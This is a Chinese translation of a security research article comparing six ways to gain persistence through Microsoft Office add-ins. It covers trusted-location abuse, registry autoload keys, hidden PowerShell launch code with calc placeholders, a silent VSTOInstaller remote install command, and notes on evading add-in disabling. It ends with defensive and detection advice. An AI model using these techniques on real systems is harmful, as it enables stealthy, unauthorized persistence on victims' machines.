本文就将为大家介绍通过Microsoft Office获得持久性攻击的各种机会，由于受到Kostas Lintovois写的“Windows Services – All roads lead to SYSTEM”的启发，本文的研究者通过向Office模板文件添加VBA后门，以此来探究常驻虚拟桌面基础架构（VDI）环境的方法。

译者注：Kostas Lintovois写的“Windows Services – All roads lead to SYSTEM”，他描述了多个利用配置错误来提升权限的方法。这些技术对攻击者是很有用的，因为在很多情况下，正常用户是没有管理员权限的，管理员权限是所有攻击者共同的目标。

下面我们就开始对比研究各种基于Office持久性攻击方法的优点和缺点：

1. Word的WLL和XLL加载项

2. 用于Excel和PowerPoint的VBA加载项

3. 所有Office产品的COM加载项

4. Excel自动化加载项

5. 使用Office产品的所有VBA的VBA编辑器（VBE）加载项

6. 所有Office产品的VSTO加载项

以上列举的6种持久性攻击技术，都分别在Windows 7、Windows 8.1和Windows 10上运行的Office 2013进行过测试。

Word和Excel的WLL和XLL加载项

Kostas等人写的关于使用Office模板的持久性攻击的关键就是要实现“受信任的位置”，这样包含VBA代码的文件就不受宏设置所规定的标准限制了，即使宏被禁用，代码也将无执行警告。然而，通过研究者的进一步的研究发现，一般用户可在某些受信任的位置写入特权也可用于托管基于DLL的加载项。

Word的WLL加载项

Word的三个默认位置如下所示，可以看出，受信任的位置可以对“模板”和“启动”功能进行拆分：

对这个“启动”的信任位置进一步调查发现，它可以托管“* .wll”扩展名的“Word加载项”。这是一个可追溯到Word 97的早期扩展功能，至今还在被使用，但几乎没有关于该功能创建的任何指导性说明。经过研究，Word的WLL加载项被确定为一个“* .wll”文件，其本质上是一个附加的对Office进行特定扩展的DLL。这意味着WLL加载项支持基本的DLL功能，因此我可以将“* .dll”重命名为“* .wll”，并将其置于默认为用户主目录中的 “启动”受信任位置，从而获取Word启动时的任意代码执行，这些代码全部来自低特权用户。

下面可以看到一个例子，其中WLL加载项启动了“calc.exe”，可以看作是作为Word进程“WINWORD.EXE”的子进程运行：

对于通过Metasploit的“msfvenom”生成的DLL进行测试后会发现，当Word在启动后崩溃时，有效载荷将被执行。我发现构建一个bones C++ DLL，可以直接在DllMain中执行代码解决这个问题，并允许Word继续执行。

Word里WLL加载项的一个有趣的行为是，尽管会自动加载，并且其包含的代码也被执行，但Word仍将它们列为“非活动”加载项。此外，由于此原因，禁用Word信任中心内的加载项并不会禁用WLL加载项:

Excel的XLL加载项

Excel具有使用称为XLL加载项的DLL的扩展功能并具有“* .xll”扩展名，与Word打开时自动加载的WLL加载项不同，Excel需要配置为通过将属性添加到现有注册表项来使用XLL加载项：

HKEY_CURRENT_USERSoftwareMicrosoftOffice15.0ExcelOptions

应在这个位置添加一个“OPEN”属性，其中包含“/ R FileNameOfAddIn.xll”的值:

不需要指定完整的路径，因为Excel会默认查找加载项文件的“％appdata％ Microsoft  AddIns”。有趣的是，就像WLL加载项一样，在受信任位置中未指定此位置，这可能是因为受信任的位置主要是提供关于VBA执行的安全控制。

Excel使用XLL加载项的方式也不同于Word使用WLL加载项的方式，对于每个配置的XLL加载项，Excel将在DLL中查找导出的函数，并根据需要调用它们，例如，当进程首次加载时，Excel将寻找并调用名称为“xlAutoOpen”的函数，这个函数的功能主要是模仿VBA“Auto_Open（）”的行为。

与WLL加载项不同，XLL加载项在Excel的加载项管理器中被列为“活动”，并且可以通过禁用信任中心内的加载项来阻止加载。

优点

1.没有写入用户 “启动”位置或配置注册表项的管理权限，

2.为Word自动加载，Excel只需要最少的注册表编辑，

3.通过启用“禁用所有应用程序加载项”，不会阻止WLL加载项的加载，但这不适用于XLL加载项，

4.WLL加载项在Word的GUI中被列为“非活动”，用于监控加载项，但实际上却是“活动”的状态，但这不适用于XLL加载项。

5.它们可能用于虚拟桌面基础设施（VDI）环境中的持久性攻击中。

缺点

1.将DLL从“％appdata％”中删除。

2.XLL加载项需要注册表编辑

用于Excel和PowerPoint的VBA加载项

与Word类似，Excel和PowerPoint都具有了一定的“启动”信任位置，实际上，它们每个都有两个位置是用户指定的，其中一个是系统范围内的。用户指定的可信任位置（因为低权限用户具有写入权限）被称为Excel和PowerPoint的“XLSTART”和“AddIn”。

这些受信任的位置不是用于存储基于DLL的加载项，而是基于VBA的非加密的扩展，专门用于加载项。

这个特殊的持久性方法与Kostas关于模板持久性的原理非常相似，不过这两种方法之间的关位置区别在于，当VBA包含在模板中时，它只能在从该模板派生的文档中执行。无论何时在Excel和PowerPoint中打开什么文档，无论其原始模板如何，VBA加载项都将针对其特定的事件处理程序执行，但此功能仅限于这两个Office应用程序。

下面描述实现每个持久性攻击的方法：

Excel

创建一个新的Excel电子表格，打开VBA编辑器，并插入一个包含持久性机制的“模块”：

此时应该转到保存电子表格，而不是选择标准的Excel格式，请根据兼容性模式从使用“* .xlam”或“* .xla”的类型中选择“Excel加载项”，此时应该保存到通常为“％appdata％ Microsoft  Excel  XLSTART”中的相应信任的位置：

当Excel下次打开时，无论是新的电子表格还是先前保存的加载项，都将执行加载项。

PowerPoint

PowerPoint VBA加载项可以与Excel相同的方式创建，但在这种情况下，文件格式变为了“* .ppam”或“* .ppa”。然后，加载项应存储在相应的可信位置中，如前所述，在PowerPoint中，这被称为“AddIns”。它通常位于“％appdata％ Microsoft  AddIns”的常用位置中，该位置也用于XLL加载项。

与Excel不同，PowerPoint加载项不会自动加载，但可以通过修改注册表进行配置。幸运的是，这种修改只需要在HKEY_CURRENT_USER（HKCU）配置单元中进行。这涉及到在以下位置创建一个位置：

HKEY_CURRENT_USERSoftwareMicrosoftOffice15.0PowerPointAddIns<AddInName>

请注意，上图中的Office号码也可能需要更改，15.0在这里指的是Office 2013。此位置应具有下图中所列举的属性。 “自动加载”设置为“1”，表示在PowerPoint启动时应自动加载加载项，此外不需要提供加载项的完整路径，因为PowerPoint了解加载加载项所需的位置。

优点

1.无需管理权限，

2.自动加载Excel，

3.具有受信任的位置，所以执行VBA没有问题，

4.尽管文件类型是“加载项”，但是“禁用所有应用程序加载项”选项并不能阻止VBA代码的执行，

5.可以使用密码保护加载项以供查看和编辑，但此功能仍将执行，

6.可以隐蔽地用于VDI环境中的持久性攻击。

缺点

1.编写VBA代码是一个非常令人痛苦的过程，

2.在PowerPoint VBA中加载项必须在写入注册表的情况下进行，

3.将额外的文件从Excel和PowerPoint的磁盘删除。

Office COM加载项

为Office创建加载项的另一种完全不同的方法就是利用“COM加载项”，鉴于COM加载项的工作方式，我可以创建单个加载项，并将其集成到所有Office应用程序（包括Outlook）中，例如，当Office程序打开时运行代码。

COM对象（与传统DLL不同，其被存储为“* .dll”文件）必须在使用前在注册表中注册。由于主要涉及通知Windows关于COM对象，即在HKEY_CLASSES_ROOT配置单元中进行设置，此注册过程会在使用“ComRegisterFunctionAttribute”属性指定的函数中定义。

接着就必须将Office应用程序进一步配置为使用此COM对象，该对象涉及创建具有三个属性的单个注册表项，所以必须在每个应用程序中创建此位置。如下图所示，Office程序加载COM加载项所需的注册表项存储在：

HKEY_CURRENT_USERSoftwareMicrosoftOffice<Program>Addins<AddInName>

在上图中，“LoadBehaviour”的“3”会指定Office应用程序（此处为Outlook）应在启动时加载COM加载项，COM加载项会通过“FriendlyName”引用：

Office应用程序的该功能也可以在处理COM注册时，执行相同的功能。这样做的一个主要优点就是允许操作的持久化运行，从而在设置时减少需要运行的命令数量， 在这种情况下，可以使用“regasm.exe”。

在Office应用程序加载COM对象之后获取代码执行，代码中的一个很受信任的位置便是Office特定的“IDTExtensibility2”接口的“OnConnection”功能。此接口会处理加载相关事件，例如加载加载项时（如“OnConnection”）同时进行卸载。下图就显示了一个隐藏的cmd窗口是如何产生calc的：

public void OnConnection(object application, Extensibility.ext_ConnectMode connectMode, object addInInst, ref System.Array custom)
{/* snip */System.Diagnostics.Process process = new System.Diagnostics.Process();System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;startInfo.FileName = "powershell.exe";startInfo.Arguments = "-ep bypass -C calc";process.StartInfo = startInfo;process.Start();
}

一旦创建了COM加载项，就可以使用调用注册功能的regasm.exe来设置它。不过此操作需要管理权限，因为它要写入HKEY_CLASSES_ROOT：

由上图可以看出，当Outlook打开时，加载项将被加载，并以calc显示：

优点

1.轻松创建单个加载项，可在多个Office产品中工作，无需调整，

2.有一个命令设置，如regasm。

缺点

1.将COM“* .dll”文件从磁盘中删除，注册表编辑需要注册并自动加载，

2.需要COM注册的管理权限，

3.不太可能对VDI环境中的持久性设置有用。

Excel自动化加载项

作为Excel自动化加载项可扩展性的一部分，Excel允许用户创建自定义的函数。如果这样的功能被执行，例如，作为单元格公式的一部分（其中“= SUM（）”是内置函数的示例），那这些用户定义的功能就会存储在所谓的“自动加载项”中。这些自定义的功能是以与COM加载项相似的方式创建，但具体用法不同。

COM有一个注册函数，该注册函数还可以包括设置注册表的代码，以通知Excel在运行时应该加载该加载项。如下图所示，此位置需要位于：

HKEY_CURRENT_USERSOFTWAREMicrosoftOffice15.0ExcelOptions

每个自动化加载项都会被列为单个“OPENx”属性的值，其中x是一次增加多个加载项的递增号。

在获得自动化加载项以实际执行持久化攻击时，大家可以将用户自定义的函数简单地定义为在上述注册表属性中特定命名的空间（这里为“InconspicuousAddIn”）和被引用的类（这里为“ExtFunctions”）的标准函数。该函数可以执行任何正常功能，包括执行任意命令。下图就显示了一个用户自定义的函数，它在打开calc后毁对所选范围内的单元格数进行计数：

public double CountCellsRange(object range)
{System.Diagnostics.Process process = new System.Diagnostics.Process();System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;startInfo.FileName = "powershell.exe";startInfo.Arguments = "-ep bypass -C calc";process.StartInfo = startInfo;process.Start();Excel.Range count = range as Excel.Range;return count.Cells.Count;
}

由于要设置一个持久性的攻击机制，而且Excel Automation加载项都是基于COM的，因此可以使用与COM加载项相同的语法再次使用regasm。如下图所示，经过验证，自动化加载项就可以启用了：

在用户将自定义的功能集成到Excel中，攻击者仍然需要找到执行此命令的方法。不过，攻击者可以通过覆盖内置函数来实现这一命令。此外，用户自定义的函数仅在被调用时才执行，如果先前已被执行了并且执行结果存储在文档中，则该函数是不会再执行的。

因此，用户自定义的函数需要被强制调用，这可以使用VBA来完成。虽然这不是最理想的方法，但是可以使安全预防产品更难以检测到。通过将VBA持久化了的完整功能放在模板或加载项中，就不太可能被检测到，因为该功能很容易被解释为标准的Excel函数。当工作簿打开时，选择一个单元格（除了1：1 – A1之外），它的内容可以被用户自定义的函数调用的文本字符串所替换：

优点

1.具有一个命令设置，如regasm。

缺点

1.需要COM注册的管理权限，

2.仍然需要一种调用用户定义函数的方法，

3.不太可能对VDI环境中的持久性设置有用。

VBE加载项

可以创建一个不会利用VBA本身但可以创建它的持久性攻击开发环境，如VBA编辑器（VBE）。虽然目前关于创建VBE加载项的说明很少，但经过研究，基于使用Office的“IDTExtensibility2”接口就是本文经常提到的COM对象。通过这个COM对象，可以执行任意代码，例如启动VBA编辑器。随着COM再次被使用，我可以使用regasm进行持久性设置。此设置包括了创建注册表项，以通知VBA编辑器它应该自动加载加载项，它存储在下图所示的位置：

HKEY_CURRENT_USERSoftwareMicrosoftVBAVBE6.0Addins<VBEAddIn.Name>

该位置还包含许多属性，其中包括一个“FriendlyName”来引用已注册的COM对象，并将“LoadBehaviour”设置为“3”，以通知VBA编辑器在编辑器启动时启动加载项：

配置的加载项可以在VBA编辑器的“加载项管理器”中看到：

优点

1.轻松创建单个加载项，可在多个Office产品中工作，无需调整，

2.有一个命令设置，如regasm。

缺点

1.需要用户打开VBA编辑器，

2.需要COM注册的管理权限，

3.不太可能对VDI环境中的持久性设置有用。

VSTO加载项

Office Studio（VSTO）的Visual Studio工具也将被用于持久性攻击中，虽然 VSTO是Office经过更新后的COM加载项的替代品。但是，与COM加载项不同，VSTO需要安装特殊的运行命令，因为默认情况下VSTO不会被自动安装。

存储持久性命令的合适位置是默认的“ThisAddIn-Startup”功能，该功能被配置为处理启动事件，例如，当应用程序启动时加载模块，如下图所示：

private void ThisAddIn_Startup(object sender, System.EventArgs e)
{System.Diagnostics.Process process = new System.Diagnostics.Process();System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;startInfo.FileName = "powershell.exe";startInfo.Arguments = "-ep bypass -C calc";process.StartInfo = startInfo;process.Start();
}

VSTO加载项的问题就出现在设置这些模块时，部分原因是需要特殊的运行命令。如果VSTO没有被成功安装，则无需在用户交互下进行安装，如可以使用“vstor_redist.exe”，接着使用作为运行时的一部分二进制文件（“VSTOInstaller.exe”）来安装VSTO加载项（“* .vsto”）。

但是，这会导致弹出窗口，并要求用户确认安装。不过可以通过添加“/ s”来解决这个弹出问题，但操作时需要由受信任的发布者签名，否则安装会失败：

有趣的是，“VSTOInstaller.exe”是Microsoft签名的二进制文件，加载项的位置可以指定为URL（例如“VSTOInstaller.exe / s / i http://192.168.7.129/OutlookAddIn1.vsto”）。如果刚开始使用签名的VSTO加载项，那这个潜在的应用程序就会被列入安全预防产品白名单。不过，Window的信任模式会限制这一行为。虽然用户可能对存储区内的许多证书颁发机构信任， Window系统并不这样认定，所以必须明确启用认证机构。

优点

1.运行时安装程序（“VSTOInstaller.exe”）是一个MS签名的二进制文件，尽管它需要来自受信任的发布者，但可以在隐藏状态下通过HTTP下载加载项。

缺点

1.需要非标准的VSTO运行命令，

2.无法由受信任的发行商签名，尽管用户可能会手动安装它，但必须把它列为受信任程序的加载项，

3.不太可能对VDI环境中的持久性设置有用，

如何防范恶意加载项

通过在每个Office应用程序的信任中心或通过适当的注册表项中禁用加载项，可以轻松防止恶意XLL，COM，Automation和VSTO加载项。

或者，如果需要加载项，则建议它们由受信任的发布者签名，并禁用该用户通知。当使用不受信任的加载项时，所显示的用户通知并不是针对潜在安全风险的警告，并且用户还可以启用危险内容，特别是如果他们打开以前被信任的文档，例如，他们过去创建的文档。下图就是用户通知的一个样本：

虽然WLL和VBA加载项可以自定义为加载项，但它们是不受上述信任中心设置影响的。这在WLL加载项的情况下特别令人惊讶，因为它是一个基于DLL的加载项。

所以，减少恶意WLL和VBA加载项的风险的最有效方法就是删除每个“启动”信任的位置，如果需要，可以考虑将所需的加载项放在系统范围的可信位置中，并删除以前用户配置文件中存在的受信任位置。这样，攻击者就会被迫升级其权限，以便将系统范围的位置用作持久设置。此外，用户还可以为受信任位置建立适当的访问控制列表，以防止攻击者添加或编辑现有文件。

最后对于志在提前检测恶意加载项的安全产品开发商来说，可以通过对三个核心方面的检查和验证来提前进行安全预防：

1. 受信任位置的文件系统内容，

2. 审核注册表项是否启用加载项，

3. 监控非标准进程间的关系，例如，检查由Office应用程序产生的进程。